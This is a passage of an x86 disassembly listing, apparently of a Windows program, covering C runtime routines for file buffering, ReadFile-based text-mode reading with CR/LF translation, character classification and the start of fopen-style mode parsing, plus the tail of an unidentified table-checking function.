loc_423C5B:				; CODE XREF: sub_423770+4B7j
		mov	ecx, [ebp+var_14]
		sub	ecx, 20h
		mov	edx, 80000000h
		shr	edx, cl
		mov	eax, [ebp+var_150]
		or	eax, edx
		mov	[ebp+var_150], eax
		mov	ecx, [ebp+var_14]
		sub	ecx, 20h
		mov	edx, 80000000h
		shr	edx, cl
		mov	eax, [ebp+var_158]
		or	eax, edx
		mov	[ebp+var_158], eax


loc_423C91:				; CODE XREF: sub_423770+4B1j
					; sub_423770+4E9j
		mov	ecx, [ebp+var_130]
		mov	edx, [ecx+4]
		cmp	edx, [ebp+var_134]
		jnz	short loc_423CB4
		mov	eax, [ebp+var_14]
		mov	ecx, [ebp+var_168]
		cmp	ecx, [ebp+eax*4+var_118]
		jz	short loc_423CBE


loc_423CB4:				; CODE XREF: sub_423770+530j
		mov	eax, 0FFFFFFF2h
		jmp	loc_423D89
; ---------------------------------------------------------------------------


loc_423CBE:				; CODE XREF: sub_423770+542j
		mov	edx, [ebp+var_134]
		mov	eax, [edx+8]
		cmp	eax, [ebp+var_130]
		jz	short loc_423CD9
		mov	eax, 0FFFFFFF1h
		jmp	loc_423D89
; ---------------------------------------------------------------------------


loc_423CD9:				; CODE XREF: sub_423770+55Dj
		mov	ecx, [ebp+var_134]
		add	ecx, 8
		mov	[ebp+var_134], ecx
		jmp	loc_423AAD
; ---------------------------------------------------------------------------


loc_423CED:				; CODE XREF: sub_423770+146j
					; sub_423770+34Aj
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+var_160]
		mov	ecx, [ebp+var_11C]
		cmp	ecx, [eax+edx*4+44h]
		jnz	short loc_423D1A
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+var_160]
		mov	ecx, [ebp+var_150]
		cmp	ecx, [eax+edx*4+0C4h]
		jz	short loc_423D21


loc_423D1A:				; CODE XREF: sub_423770+590j
		mov	eax, 0FFFFFFF0h
		jmp	short loc_423D89
; ---------------------------------------------------------------------------


loc_423D21:				; CODE XREF: sub_423770+5A8j
		mov	edx, [ebp+var_128]
		add	edx, 8000h
		mov	[ebp+var_128], edx
		mov	eax, [ebp+var_18]
		add	eax, 204h
		mov	[ebp+var_18], eax
		mov	ecx, [ebp+var_4]
		shl	ecx, 1
		mov	[ebp+var_4], ecx
		jmp	loc_42384A
; ---------------------------------------------------------------------------


loc_423D4B:				; CODE XREF: sub_423770+E7j
		mov	edx, [ebp+var_13C]
		mov	eax, [ebp+var_144]
		cmp	eax, [edx]
		jnz	short loc_423D6C
		mov	ecx, [ebp+var_13C]
		mov	edx, [ebp+var_158]
		cmp	edx, [ecx+4]
		jz	short loc_423D73


loc_423D6C:				; CODE XREF: sub_423770+5E9j
		mov	eax, 0FFFFFFEFh
		jmp	short loc_423D89
; ---------------------------------------------------------------------------


loc_423D73:				; CODE XREF: sub_423770+5FAj
		mov	eax, [ebp+var_13C]
		add	eax, 14h
		mov	[ebp+var_13C], eax
		jmp	loc_4237B3
; ---------------------------------------------------------------------------


loc_423D87:				; CODE XREF: sub_423770+5Ej
		xor	eax, eax


loc_423D89:				; CODE XREF: sub_423770+26j
					; sub_423770+8Ej ...
		mov	esp, ebp
		pop	ebp
		retn
sub_423770	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423D90	proc near		; CODE XREF: sub_41CB60+66p
					; sub_41D460+19p ...

var_C		= byte ptr -0Ch
var_B		= byte ptr -0Bh
var_A		= byte ptr -0Ah
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		add	eax, 1
		cmp	eax, 100h
		ja	short loc_423DBA
		mov	ecx, [ebp+arg_0]
		mov	edx, ds:off_44FE2C
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, [ebp+arg_4]
		jmp	loc_423E43
; ---------------------------------------------------------------------------


loc_423DBA:				; CODE XREF: sub_423D90+11j
		mov	ecx, [ebp+arg_0]
		sar	ecx, 8
		and	ecx, 0FFh
		and	ecx, 0FFh
		mov	edx, ds:off_44FE2C
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 8000h
		test	eax, eax
		jz	short loc_423E03
		mov	ecx, [ebp+arg_0]
		sar	ecx, 8
		and	ecx, 0FFh
		mov	[ebp+var_C], cl
		mov	dl, byte ptr [ebp+arg_0]
		mov	[ebp+var_B], dl
		mov	[ebp+var_A], 0
		mov	[ebp+var_8], 2
		jmp	short loc_423E14
; ---------------------------------------------------------------------------


loc_423E03:				; CODE XREF: sub_423D90+4Fj
		mov	al, byte ptr [ebp+arg_0]
		mov	[ebp+var_C], al
		mov	[ebp+var_B], 0
		mov	[ebp+var_8], 1


loc_423E14:				; CODE XREF: sub_423D90+71j
		push	1
		push	0
		push	0
		lea	ecx, [ebp+var_4]
		push	ecx
		mov	edx, [ebp+var_8]
		push	edx
		lea	eax, [ebp+var_C]
		push	eax
		push	1
		call	loc_42E040
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_423E38
		xor	eax, eax
		jmp	short loc_423E43
; ---------------------------------------------------------------------------


loc_423E38:				; CODE XREF: sub_423D90+A2j
		mov	eax, [ebp+var_4]
		and	eax, 0FFFFh
		and	eax, [ebp+arg_4]


loc_423E43:				; CODE XREF: sub_423D90+25j
					; sub_423D90+A6j
		mov	esp, ebp
		pop	ebp
		retn
sub_423D90	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423E50	proc near		; CODE XREF: sub_41CE10+182p
					; sub_41DEE0+D7p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi


loc_423E59:				; CODE XREF: sub_423E50+31j
		cmp	[ebp+arg_0], 0
		jnz	short loc_423E7D
		push	offset dword_4394FC
		push	0
		push	69h
		push	offset a_filbuf_c ; "_filbuf.c"
		push	2
		call	loc_420E10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_423E7D
		int	3		; Trap to Debugger


loc_423E7D:				; CODE XREF: sub_423E50+Dj
					; sub_423E50+2Aj
		xor	eax, eax
		test	eax, eax
		jnz	short loc_423E59
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		mov	eax, [edx+0Ch]
		and	eax, 83h
		test	eax, eax
		jz	short loc_423EA5
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+0Ch]
		and	edx, 40h
		test	edx, edx
		jz	short loc_423EAD


loc_423EA5:				; CODE XREF: sub_423E50+46j
		or	eax, 0FFFFFFFFh
		jmp	loc_42402D
; ---------------------------------------------------------------------------


loc_423EAD:				; CODE XREF: sub_423E50+53j
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+0Ch]
		and	ecx, 2
		test	ecx, ecx
		jz	short loc_423ED0
		mov	edx, [ebp+var_4]
		mov	eax, [edx+0Ch]
		or	al, 20h
		mov	ecx, [ebp+var_4]
		mov	[ecx+0Ch], eax
		or	eax, 0FFFFFFFFh
		jmp	loc_42402D
; ---------------------------------------------------------------------------


loc_423ED0:				; CODE XREF: sub_423E50+68j
		mov	edx, [ebp+var_4]
		mov	eax, [edx+0Ch]
		or	al, 1
		mov	ecx, [ebp+var_4]
		mov	[ecx+0Ch], eax
		mov	edx, [ebp+var_4]
		mov	eax, [edx+0Ch]
		and	eax, 10Ch
		test	eax, eax
		jnz	short loc_423EFB
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_42E200
		add	esp, 4
		jmp	short loc_423F06
; ---------------------------------------------------------------------------


loc_423EFB:				; CODE XREF: sub_423E50+9Bj
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+8]
		mov	[edx], ecx


loc_423F06:				; CODE XREF: sub_423E50+A9j
		mov	edx, [ebp+var_4]
		mov	eax, [edx+18h]
		push	eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+8]
		push	edx
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+10h]
		push	ecx
		call	sub_424040
		add	esp, 0Ch
		mov	edx, [ebp+var_4]
		mov	[edx+4], eax
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+4], 0
		jz	short loc_423F3B
		mov	ecx, [ebp+var_4]
		cmp	dword ptr [ecx+4], 0FFFFFFFFh
		jnz	short loc_423F6B


loc_423F3B:				; CODE XREF: sub_423E50+E0j
		mov	edx, [ebp+var_4]
		mov	eax, [edx+4]
		neg	eax
		sbb	eax, eax
		and	eax, 10h
		add	eax, 10h
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+0Ch]
		or	edx, eax
		mov	eax, [ebp+var_4]
		mov	[eax+0Ch], edx
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx+4], 0
		or	eax, 0FFFFFFFFh
		jmp	loc_42402D
; ---------------------------------------------------------------------------


loc_423F6B:				; CODE XREF: sub_423E50+E9j
		mov	edx, [ebp+var_4]
		mov	eax, [edx+0Ch]
		and	eax, 82h
		test	eax, eax
		jnz	short loc_423FD1
		mov	ecx, [ebp+var_4]
		cmp	dword ptr [ecx+10h], 0FFFFFFFFh
		jz	short loc_423FA6
		mov	edx, [ebp+var_4]
		mov	eax, [edx+10h]
		sar	eax, 5
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+10h]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, ds:dword_4EED20[eax*4]
		add	eax, edx
		mov	[ebp+var_8], eax
		jmp	short loc_423FAD
; ---------------------------------------------------------------------------


loc_423FA6:				; CODE XREF: sub_423E50+131j
		mov	[ebp+var_8], offset dword_4502B8


loc_423FAD:				; CODE XREF: sub_423E50+154j
		mov	ecx, [ebp+var_8]
		movsx	edx, byte ptr [ecx+4]
		and	edx, 82h
		cmp	edx, 82h
		jnz	short loc_423FD1
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+0Ch]
		or	ch, 20h
		mov	edx, [ebp+var_4]
		mov	[edx+0Ch], ecx


loc_423FD1:				; CODE XREF: sub_423E50+128j
					; sub_423E50+170j
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+18h], 200h
		jnz	short loc_424004
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+0Ch]
		and	edx, 8
		test	edx, edx
		jz	short loc_424004
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+0Ch]
		and	ecx, 400h
		test	ecx, ecx
		jnz	short loc_424004
		mov	edx, [ebp+var_4]
		mov	dword ptr [edx+18h], 1000h


loc_424004:				; CODE XREF: sub_423E50+18Bj
					; sub_423E50+198j ...
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+4]
		sub	ecx, 1
		mov	edx, [ebp+var_4]
		mov	[edx+4], ecx
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		movsx	eax, byte ptr [ecx]
		and	eax, 0FFh
		mov	edx, [ebp+var_4]
		mov	ecx, [edx]
		add	ecx, 1
		mov	edx, [ebp+var_4]
		mov	[edx], ecx


loc_42402D:				; CODE XREF: sub_423E50+58j
					; sub_423E50+7Bj ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_423E50	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424040	proc near		; CODE XREF: sub_41CE10+118p
					; sub_423E50+CBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	eax, ds:dword_4EEE20
		jnb	short loc_424071
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, ds:dword_4EED20[ecx*4]
		movsx	ecx, byte ptr [eax+edx+4]
		and	ecx, 1
		test	ecx, ecx
		jnz	short loc_42408C


loc_424071:				; CODE XREF: sub_424040+Dj
		call	sub_4267E0
		mov	dword ptr [eax], 9
		call	sub_4267F0
		mov	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh
		jmp	short loc_4240BE
; ---------------------------------------------------------------------------


loc_42408C:				; CODE XREF: sub_424040+2Fj
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_42DB90
		add	esp, 4
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_4240D0
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42DC20
		add	esp, 4
		mov	eax, [ebp+var_4]


loc_4240BE:				; CODE XREF: sub_424040+4Aj
		mov	esp, ebp
		pop	ebp
		retn
sub_424040	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4240D0	proc near		; CODE XREF: sub_424040+64p
					; sub_42E310+42Fp

var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	[ebp+var_18], 0
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], eax
		cmp	[ebp+arg_8], 0
		jz	short loc_42410B
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, ds:dword_4EED20[ecx*4]
		movsx	ecx, byte ptr [eax+edx+4]
		and	ecx, 2
		test	ecx, ecx
		jz	short loc_424112


loc_42410B:				; CODE XREF: sub_4240D0+17j
		xor	eax, eax
		jmp	loc_424511
; ---------------------------------------------------------------------------


loc_424112:				; CODE XREF: sub_4240D0+39j
		mov	edx, [ebp+arg_0]
		sar	edx, 5
		mov	eax, [ebp+arg_0]
		and	eax, 1Fh
		imul	eax, 24h
		mov	ecx, ds:dword_4EED20[edx*4]
		movsx	edx, byte ptr [ecx+eax+4]
		and	edx, 48h
		test	edx, edx
		jz	short loc_4241A9
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, ds:dword_4EED20[eax*4]
		movsx	eax, byte ptr [edx+ecx+5]
		cmp	eax, 0Ah
		jz	short loc_4241A9
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, ds:dword_4EED20[ecx*4]
		mov	ecx, [ebp+var_14]
		mov	dl, [eax+edx+5]
		mov	[ecx], dl
		mov	eax, [ebp+var_14]
		add	eax, 1
		mov	[ebp+var_14], eax
		mov	ecx, [ebp+var_18]
		add	ecx, 1
		mov	[ebp+var_18], ecx
		mov	edx, [ebp+arg_8]
		sub	edx, 1
		mov	[ebp+arg_8], edx
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, ds:dword_4EED20[eax*4]
		mov	byte ptr [edx+ecx+5], 0Ah


loc_4241A9:				; CODE XREF: sub_4240D0+62j
					; sub_4240D0+82j
		push	0
		lea	eax, [ebp+var_10]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+var_14]
		push	edx
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, ds:dword_4EED20[eax*4]
		mov	eax, [edx+ecx]
		push	eax
		call	ds:dword_4F1374	; ReadFile
		test	eax, eax
		jnz	short loc_424228
		call	ds:dword_4F1310	; RtlGetLastWin32Error
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 5
		jnz	short loc_424207
		call	sub_4267E0
		mov	dword ptr [eax], 9
		call	sub_4267F0
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		or	eax, 0FFFFFFFFh
		jmp	loc_424511
; ---------------------------------------------------------------------------


loc_424207:				; CODE XREF: sub_4240D0+118j
		cmp	[ebp+var_8], 6Dh
		jnz	short loc_424214
		xor	eax, eax
		jmp	loc_424511
; ---------------------------------------------------------------------------


loc_424214:				; CODE XREF: sub_4240D0+13Bj
		mov	edx, [ebp+var_8]
		push	edx
		call	sub_426740
		add	esp, 4
		or	eax, 0FFFFFFFFh
		jmp	loc_424511
; ---------------------------------------------------------------------------


loc_424228:				; CODE XREF: sub_4240D0+109j
		mov	eax, [ebp+var_18]
		add	eax, [ebp+var_10]
		mov	[ebp+var_18], eax
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, ds:dword_4EED20[ecx*4]
		movsx	ecx, byte ptr [eax+edx+4]
		and	ecx, 80h
		test	ecx, ecx
		jz	loc_42450E
		cmp	[ebp+var_10], 0
		jz	short loc_4242A4
		mov	edx, [ebp+arg_4]
		movsx	eax, byte ptr [edx]
		cmp	eax, 0Ah
		jnz	short loc_4242A4
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, ds:dword_4EED20[ecx*4]
		mov	cl, [eax+edx+4]
		or	cl, 4
		mov	edx, [ebp+arg_0]
		sar	edx, 5
		mov	eax, [ebp+arg_0]
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ds:dword_4EED20[edx*4]
		mov	[edx+eax+4], cl
		jmp	short loc_4242DA
; ---------------------------------------------------------------------------


loc_4242A4:				; CODE XREF: sub_4240D0+18Ej
					; sub_4240D0+199j
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, ds:dword_4EED20[eax*4]
		mov	al, [edx+ecx+4]
		and	al, 0FBh
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	ecx, ds:dword_4EED20[ecx*4]
		mov	[ecx+edx+4], al


loc_4242DA:				; CODE XREF: sub_4240D0+1D2j
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_C]
		mov	[ebp+var_4], eax


loc_4242E6:				; CODE XREF: sub_4240D0:loc_424500j
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_18]
		cmp	[ebp+var_4], ecx
		jnb	loc_424505
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx]
		cmp	eax, 1Ah
		jnz	short loc_42435E
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, ds:dword_4EED20[ecx*4]
		movsx	ecx, byte ptr [eax+edx+4]
		and	ecx, 40h
		test	ecx, ecx
		jnz	short loc_424359
		mov	edx, [ebp+arg_0]
		sar	edx, 5
		mov	eax, [ebp+arg_0]
		and	eax, 1Fh
		imul	eax, 24h
		mov	ecx, ds:dword_4EED20[edx*4]
		mov	dl, [ecx+eax+4]
		or	dl, 2
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	eax, ds:dword_4EED20[eax*4]
		mov	[eax+ecx+4], dl


loc_424359:				; CODE XREF: sub_4240D0+250j
		jmp	loc_424505
; ---------------------------------------------------------------------------


loc_42435E:				; CODE XREF: sub_4240D0+22Ej
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 0Dh
		jz	short loc_42438A
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx]
		mov	[eax], dl
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		jmp	loc_424500
; ---------------------------------------------------------------------------


loc_42438A:				; CODE XREF: sub_4240D0+297j
		mov	edx, [ebp+var_18]
		mov	eax, [ebp+arg_4]
		lea	ecx, [eax+edx-1]
		cmp	[ebp+var_4], ecx
		jnb	short loc_4243E0
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx+1]
		cmp	eax, 0Ah
		jnz	short loc_4243BF
		mov	ecx, [ebp+var_4]
		add	ecx, 2
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_C]
		mov	byte ptr [edx],	0Ah
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax
		jmp	short loc_4243DB
; ---------------------------------------------------------------------------


loc_4243BF:				; CODE XREF: sub_4240D0+2D3j
		mov	ecx, [ebp+var_C]
		mov	edx, [ebp+var_4]
		mov	al, [edx]
		mov	[ecx], al
		mov	ecx, [ebp+var_C]
		add	ecx, 1
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx


loc_4243DB:				; CODE XREF: sub_4240D0+2EDj
		jmp	loc_424500
; ---------------------------------------------------------------------------


loc_4243E0:				; CODE XREF: sub_4240D0+2C7j
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		mov	[ebp+var_8], 0
		push	0
		lea	ecx, [ebp+var_10]
		push	ecx
		push	1
		lea	edx, [ebp+var_1C]
		push	edx
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, ds:dword_4EED20[eax*4]
		mov	eax, [edx+ecx]
		push	eax
		call	ds:dword_4F1374	; ReadFile
		test	eax, eax
		jnz	short loc_424429
		call	ds:dword_4F1310	; RtlGetLastWin32Error
		mov	[ebp+var_8], eax


loc_424429:				; CODE XREF: sub_4240D0+34Ej
		cmp	[ebp+var_8], 0
		jnz	short loc_424435
		cmp	[ebp+var_10], 0
		jnz	short loc_424449


loc_424435:				; CODE XREF: sub_4240D0+35Dj
		mov	ecx, [ebp+var_C]
		mov	byte ptr [ecx],	0Dh
		mov	edx, [ebp+var_C]
		add	edx, 1
		mov	[ebp+var_C], edx
		jmp	loc_424500
; ---------------------------------------------------------------------------


loc_424449:				; CODE XREF: sub_4240D0+363j
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, ds:dword_4EED20[eax*4]
		movsx	eax, byte ptr [edx+ecx+4]
		and	eax, 48h
		test	eax, eax
		jz	short loc_4244B3
		movsx	ecx, [ebp+var_1C]
		cmp	ecx, 0Ah
		jnz	short loc_424485
		mov	edx, [ebp+var_C]
		mov	byte ptr [edx],	0Ah
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax
		jmp	short loc_4244B1
; ---------------------------------------------------------------------------


loc_424485:				; CODE XREF: sub_4240D0+3A2j
		mov	ecx, [ebp+var_C]
		mov	byte ptr [ecx],	0Dh
		mov	edx, [ebp+var_C]
		add	edx, 1
		mov	[ebp+var_C], edx
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, ds:dword_4EED20[eax*4]
		mov	al, [ebp+var_1C]
		mov	[edx+ecx+5], al


loc_4244B1:				; CODE XREF: sub_4240D0+3B3j
		jmp	short loc_424500
; ---------------------------------------------------------------------------


loc_4244B3:				; CODE XREF: sub_4240D0+399j
		mov	ecx, [ebp+var_C]
		cmp	ecx, [ebp+arg_4]
		jnz	short loc_4244D5
		movsx	edx, [ebp+var_1C]
		cmp	edx, 0Ah
		jnz	short loc_4244D5
		mov	eax, [ebp+var_C]
		mov	byte ptr [eax],	0Ah
		mov	ecx, [ebp+var_C]
		add	ecx, 1
		mov	[ebp+var_C], ecx
		jmp	short loc_424500
; ---------------------------------------------------------------------------


loc_4244D5:				; CODE XREF: sub_4240D0+3E9j
					; sub_4240D0+3F2j
		push	1
		push	0FFFFFFFFh
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_42B770
		add	esp, 0Ch
		mov	[ebp+var_20], eax
		movsx	eax, [ebp+var_1C]
		cmp	eax, 0Ah
		jz	short loc_424500
		mov	ecx, [ebp+var_C]
		mov	byte ptr [ecx],	0Dh
		mov	edx, [ebp+var_C]
		add	edx, 1
		mov	[ebp+var_C], edx


loc_424500:				; CODE XREF: sub_4240D0+2B5j
					; sub_4240D0:loc_4243DBj ...
		jmp	loc_4242E6
; ---------------------------------------------------------------------------


loc_424505:				; CODE XREF: sub_4240D0+21Fj
					; sub_4240D0:loc_424359j
		mov	eax, [ebp+var_C]
		sub	eax, [ebp+arg_4]
		mov	[ebp+var_18], eax


loc_42450E:				; CODE XREF: sub_4240D0+184j
		mov	eax, [ebp+var_18]


loc_424511:				; CODE XREF: sub_4240D0+3Dj
					; sub_4240D0+132j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_4240D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424520	proc near		; CODE XREF: sub_41CFE0+DBp

var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		push	esi
		push	edi
		mov	eax, ds:dword_4EEBBC
		mov	[ebp+var_1C], eax
		mov	[ebp+var_18], 0
		mov	[ebp+var_10], 0


loc_42453F:				; CODE XREF: sub_424520+47j
		cmp	[ebp+arg_0], 0
		jnz	short loc_424563
		push	offset aFilenameNull ; "filename != NULL"
		push	0
		push	47h
		push	offset a_open_c	; "_open.c"
		push	2
		call	loc_420E10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_424563
		int	3		; Trap to Debugger


loc_424563:				; CODE XREF: sub_424520+23j
					; sub_424520+40j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_42453F


loc_424569:				; CODE XREF: sub_424520+71j
		cmp	[ebp+arg_4], 0
		jnz	short loc_42458D
		push	offset aModeNull ; "mode != NULL"
		push	0
		push	48h
		push	offset a_open_c	; "_open.c"
		push	2
		call	loc_420E10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_42458D
		int	3		; Trap to Debugger


loc_42458D:				; CODE XREF: sub_424520+4Dj
					; sub_424520+6Aj
		xor	edx, edx
		test	edx, edx
		jnz	short loc_424569


loc_424593:				; CODE XREF: sub_424520+9Bj
		cmp	[ebp+arg_C], 0
		jnz	short loc_4245B7
		push	offset dword_4394FC
		push	0
		push	49h
		push	offset a_open_c	; "_open.c"
		push	2
		call	loc_420E10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_4245B7
		int	3		; Trap to Debugger


loc_4245B7:				; CODE XREF: sub_424520+77j
					; sub_424520+94j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_424593
		mov	ecx, [ebp+arg_4]
		mov	dl, [ecx]
		mov	[ebp+var_20], dl
		cmp	[ebp+var_20], 61h
		jz	short loc_4245FC
		cmp	[ebp+var_20], 72h
		jz	short loc_4245D9
		cmp	[ebp+var_20], 77h
		jz	short loc_4245EA
		jmp	short loc_42460E
; ---------------------------------------------------------------------------


loc_4245D9:				; CODE XREF: sub_424520+AFj
		mov	[ebp+var_14], 0
		mov	eax, [ebp+var_1C]
		or	al, 1
		mov	[ebp+var_1C], eax
		jmp	short loc_424615
; ---------------------------------------------------------------------------


loc_4245EA:				; CODE XREF: sub_424520+B5j
		mov	[ebp+var_14], 301h
		mov	ecx, [ebp+var_1C]
		or	ecx, 2
		mov	[ebp+var_1C], ecx
		jmp	short loc_424615
; ---------------------------------------------------------------------------


loc_4245FC:				; CODE XREF: sub_424520+A9j
		mov	[ebp+var_14], 109h
		mov	edx, [ebp+var_1C]
		or	edx, 2
		mov	[ebp+var_1C], edx
		jmp	short loc_424615
; ---------------------------------------------------------------------------


loc_42460E:				; CODE XREF: sub_424520+B7j
		xor	eax, eax
		jmp	loc_424836
; ---------------------------------------------------------------------------


loc_424615:				; CODE XREF: sub_424520+C8j
					; sub_424520+DAj ...
		mov	[ebp+var_4], 1


loc_42461C:				; CODE XREF: sub_424520:loc_4247BAj
		mov	eax, [ebp+arg_4]
		add	eax, 1
		mov	[ebp+arg_4], eax
		mov	ecx, [ebp+arg_4]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jz	loc_4247BF
		cmp	[ebp+var_4], 0
		jz	loc_4247BF
		mov	eax, [ebp+arg_4]
		movsx	ecx, byte ptr [eax]
		mov	[ebp+var_24], ecx
		mov	edx, [ebp+var_24]
		sub	edx, 2Bh
		mov	[ebp+var_24], edx
		cmp	[ebp+var_24], 49h
		ja	loc_4247B3
